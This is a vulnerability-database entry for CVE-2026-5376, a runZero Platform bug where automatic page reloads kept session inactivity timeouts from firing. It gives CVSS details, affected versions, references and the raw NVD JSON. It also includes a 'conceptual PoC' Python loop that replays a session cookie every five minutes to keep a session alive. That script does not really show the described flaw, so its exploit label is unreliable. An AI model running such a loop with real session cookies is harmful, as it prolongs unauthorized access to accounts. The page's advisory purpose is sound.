CVE-2026-5376

Description

An issue that could prevent session inactivity timeouts from triggering due to automatic page reloading has been resolved. This is an instance of CWE-613: Insufficient Control of Resources After Expiration or Release, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N (5.9 Medium). This issue was fixed in version 4.0.260203.0 of the runZero Platform.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260203.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual PoC for Session Timeout Bypass
# This script simulates a browser maintaining a session by sending periodic requests.
# In the vulnerable version, the automatic page reload acts like this script,
# preventing the server-side inactivity timer from expiring.

import requests
import time

target_url = "https://runzero-platform.example.com/dashboard"
session_cookie = "session_id_here"

headers = {
    "Cookie": f"session={session_cookie}",
    "User-Agent": "Mozilla/5.0 (Vulnerability-Scanner)"
}

print(f"[+] Starting session keep-alive for {target_url}")

try:
    while True:
        # Simulate the automatic page reload request
        response = requests.get(target_url, headers=headers)
        if response.status_code == 200:
            print(f"[+] Session active. Timer reset at {time.ctime()}")
        else:
            print(f"[-] Session lost or error: {response.status_code}")
            break
        # Wait for a typical auto-reload interval (e.g., 5 minutes)
        time.sleep(300) 
except KeyboardInterrupt:
    print("[+] Stopping session keep-alive.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5376
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5376
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5376/
[4] VulDB https://vuldb.com/cve/CVE-2026-5376
[5] https://help.runzero.com/docs/release-notes/#402602030
[6] https://www.runzero.com/advisories/runzero-platform-session-timeout-failure-cve-2026-5376/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5376", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.610", "lastModified": "2026-04-21T15:22:27.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could prevent session inactivity timeouts from triggering due to automatic page reloading has been resolved. This is an instance of CWE-613: Insufficient Control of Resources After Expiration or Release, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N (5.9 Medium). This issue was fixed in version 4.0.260203.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260203.0", "matchCriteriaId": "E1543DB8-1DF4-40B2-B9D1-E1DE9BA10B22"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602030", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-session-timeout-failure-cve-2026-5376/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}